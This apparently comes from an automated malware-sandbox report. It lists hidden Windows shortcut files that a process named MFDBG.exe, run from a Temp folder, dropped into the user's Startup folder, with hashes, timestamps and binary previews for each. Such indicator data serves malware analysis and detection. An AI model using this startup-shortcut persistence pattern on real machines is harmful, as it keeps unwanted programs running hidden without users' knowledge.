Preview:	L..................F...."...]W%.{.....x.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....7..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b305c360ee544cf6bf1a6d6871254fa9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939164671374125
Encrypted:	false
SSDEEP:	24:86hBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wm0R6rMhpBoUBxdRd1nYyg
MD5:	0DA7F3CE73356AF42B62E5D1826B5250
SHA1:	BD7BEF6E426AA3CBF88C3473594806B72044E083
SHA-256:	DBB223F33B281C35ABB791A2B66285F744C56D3EE3C8C7A84146A37EE11490F7
SHA-512:	2DA9062E494CD08DD08B120B3455BA8B071C7F92706F70A4A7029EC4DC3A1045380E93980BA05CE3EACFC75510345E04C99CD603485E803B7FE88037239DC697
Malicious:	false
Preview:	L..................F...."...]W%.{...Nc(.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b34edfd887484fb086fc599bcee7b270.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936189827457523
Encrypted:	false
SSDEEP:	24:8yhBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:84l0R6rMhpBoUBxdRd1nYyg
MD5:	3E74FCB36E30308CBA307C1E4BA14633
SHA1:	4F3BB378799C1C6237D74167D0694FD934470117
SHA-256:	5D81DE0CD7DC29C83C52E5CFE8AE0180140C2D876E835BEF75DD62101BB4DBA5
SHA-512:	2ED616E22BC9BB4A08330CAF4FF0948CDB102655B17D4438DDA595E3AD583A789D8734B694D6822AA78C7C68A940A806C680AD6616B6D4D1BAADB94F2D6CC64A
Malicious:	false
Preview:	L..................F...."...]W%.{...p...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b356f458cc1942beac49db1dd62ab3b1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9352312850774664
Encrypted:	false
SSDEEP:	24:8FhBfGy8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Vuf0R6rMhpBoUBxdRd1nYyg
MD5:	AFC1ED585EEC1688A89E23EDAB09B066
SHA1:	53F4C4DEEF8D799BC97CDEF039BCA300DA1B06F4
SHA-256:	E94D4E034F3ED7F571D65AE6803D63AABE00D96BCF355B32E8B38D5494A9B0BA
SHA-512:	E68C934A67A9F7B37B479B2F3F9721D54CB07347CF877C9222EBA8013C752461FDA7C6F578087F9D72E59015D6FF24131ACD140A0CF860E2924A780AFD5CB26F
Malicious:	false
Preview:	L..................F...."...]W%.{....q..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....q..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b3e4e583a6134d6795886ed29f57944e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938073744130329
Encrypted:	false
SSDEEP:	24:87phBf3+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8lPT0R6rMhpBoUBxdRd1nYyg
MD5:	3BE62D9B7EE35378A97B39A3A04C210C
SHA1:	1AA079C59DDAB3F84EF7D388C083A665495841BA
SHA-256:	7ED2AC9F72CB03C4D514B59BBC74C896C3A21639BA4B090FA368BF1B26BBAC40
SHA-512:	E1E646BCED0CBDEEC04CA96016DF2B0BBE37B8A37CEB460FD5ACC79DA6CF92CA2B623EC72411B567902B2F1218877B36E1B1A7748F605F6921AEF06701D807DD
Malicious:	false
Preview:	L..................F...."...]W%.{....f?.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...u.=.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b424387ba4b74536956ade76de67be28.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938380806285038
Encrypted:	false
SSDEEP:	24:8i8hBfo8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8iOV0R6rMhpBoUBxdRd1nYyg
MD5:	C878D27AA4579EF5FAA47CB7F372FEA5
SHA1:	30073009E5D1CA55DA1D1292B3A81497040E4381
SHA-256:	1C5C995F518222CEABF19A27559A42E974AF79853A47B0C81204CF4335960BEE
SHA-512:	EBF0AC7C826429B8F2DC0A656CA24AC93C120A8B427F695D464183AEA05B37A519A72F15C32ECA4911133C15AF2DD346B28699880B6AB6E1F9A9091D2E02DA8B
Malicious:	false
Preview:	L..................F...."...]W%.{...k...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...2...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b434c086ed634ffd823752749a7ea0e3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93836423016066
Encrypted:	false
SSDEEP:	24:8yhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:84r0R6rMhpBoUBxdRd1nYyg
MD5:	A2EA642CBAA6601553EAD5F5FD5AABDF
SHA1:	7BA6F7A39294E6B0388107618A49A7C6F2528AD8
SHA-256:	ECAC8BFA1173414B85E9E0857C7D51048BA96A1A993F372FD619346F20C19A80
SHA-512:	A5F2DA49AD9791C40794AD5072E90F2ADBC59C62641EF35C17EA51DCEC922A2900AED229AC5E91668770E09BCF71AE25D3DEA82220A6CE36A189660032FF97C6
Malicious:	false
Preview:	L..................F...."...]W%.{....S,.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b45060d654474d14b17946be679c6ff0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935751188571547
Encrypted:	false
SSDEEP:	24:8p9hBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83nC0R6rMhpBoUBxdRd1nYyg
MD5:	CBAC366349CAE1A8321BACE0ED9E9D72
SHA1:	F01D4961535F3BF25661864C45270A7647E62870
SHA-256:	F3E4FF28DF858BD1D0077C65BEF0E77D32C02DCDFD91A0644A8B664198B760E3
SHA-512:	7EE7F1E8632230658CD4F152CBEA79BFE8A015318091B32D7D7F9D77E23D348A82EB6577C64D9849EEDADA19E7CAE39972558548BC7031F0A597846E96833F4F
Malicious:	false
Preview:	L..................F...."...]W%.{...-...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b4a1c675b78d4a1d9120b8b8aa23045b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937086354503494
Encrypted:	false
SSDEEP:	24:8FhBfjqH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8VLqc0R6rMhpBoUBxdRd1nYyg
MD5:	F3BDB976B1DA0D56A1F02A65EAB6B0C3
SHA1:	3700EE33AFD557E89CCABEA5E9BB8415E6AF8687
SHA-256:	E2A9593033E5178051F4102F1B32905C5A59E43B43FA4C78F8B0E497B5397A2F
SHA-512:	E08BE7134034E50A61334B4EF1A02EAEDCAF498F9AA2DA1BF84E73863A981C674FA3FCF5857A0B26DD6039BBC531A7357ACFA086EF1D486BAF94CA4C6BC5D451
Malicious:	false
Preview:	L..................F...."...]W%.{....*M.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....F.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b4b68bbf53db433da461f5d189c9e4b7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933832507898139
Encrypted:	false
SSDEEP:	24:8BhBfQD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xp0R6rMhpBoUBxdRd1nYyg
MD5:	D0B67FD2EA09CBA03D97FEE21706C15D
SHA1:	B3F56B303A3E5658C5222C41546A815BC1BC9F35
SHA-256:	CFE8EB8FC9A26F1886AE17D1D99A78969C67136918DCB289BFB8653182BDD870
SHA-512:	E601D13C2B8EF39DD7D89429093C78ED5346391DEADF1E23D4EFB27A09AC72F5953282AEA5733A2DEFCE1CCAAEB314861DF71A3ABC87FF1D842B29BAE9DD7A35
Malicious:	false
Preview:	L..................F...."...]W%.{....`o.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...!.l.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b4f0d6da3a2541299ea0bb4e1c8f96f4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935859517255612
Encrypted:	false
SSDEEP:	24:8OhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8E70R6rMhpBoUBxdRd1nYyg
MD5:	4D453022904B7FC3CF66128135517265
SHA1:	F0DE80A45F2452B443EC5532F33A1A0F95BEDDD4
SHA-256:	74085DA8C1F6F8E5252469DAACDB5331191A17A841FED0297E810681B52C04AD
SHA-512:	DE3BD6E749F95055F4F77D72C1A879DC5AAD2E12D63FD13B712D9AE18363775662767EA3EF1A9C49307104E94CC5F3348CECE025642CC72719EE77D9D8A646D6
Malicious:	false
Preview:	L..................F...."...]W%.{...<.c.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b4ff9e27b4934c66980e5f39c73e0341.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9302954327315
Encrypted:	false
SSDEEP:	24:8VhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8FR0R6rMhpBoUBxdRd1nYyg
MD5:	D1927204F15A5B8C48FA5AF783856939
SHA1:	7ECC1859F1F6DD6F7456123B7BF18827ED83757F
SHA-256:	BF6EEBB6020FD83748A9B721D38E856D004C629D1AD1F0DC0C1066A8038EAEC7
SHA-512:	3480CD1C245509960C374B08C75B5F2B4C9763AED317B097652A5C305B658ED1B99356EBF4E0557650F130B9758B7A8A079A00696668EC180E23F28BE3B43145
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b5125903cdc740a19e29bc0a302e9266.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936905412416575
Encrypted:	false
SSDEEP:	24:8+hBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ur0R6rMhpBoUBxdRd1nYyg
MD5:	C925600917F0E730F141F74CCD9B122B
SHA1:	71A89B2E1608DBF9E8EA3B5AF14E77CAE32952B2
SHA-256:	4D28CCA22DA55736264FC997A6B5C1C588E2131FD0A019E96A95CF833385D459
SHA-512:	9F72A6E381889854C713E6BD48F0A2A8F4A10898996B67496093384A953A66BE134B799B0C06F4291E85E074E373A04C9D41F9CD2A3663DBEF54BB05E6247504
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b538170f89d74383a2aa1cc9f8178927.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940750811514902
Encrypted:	false
SSDEEP:	24:8jxmhBfX8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8NsU0R6rMhpBoUBxdRd1nYyg
MD5:	C054D9A80E07E396BAB0DC530457525A
SHA1:	33015638D995838DB94E69C79E8558B07DC60CB9
SHA-256:	5DF54A776FF18A90B49A39C5834C52B3CAD47534A2312281B99894EB11EDC581
SHA-512:	EBEF8398075524C701A0D9714BFFEC14CC2F14A8BD5B46A5464F386EFEC53124DDD5D3E12184041CA191988C433AA2FDF5065BB1FC93EF92D9C309D0AAC8A3F2
Malicious:	false
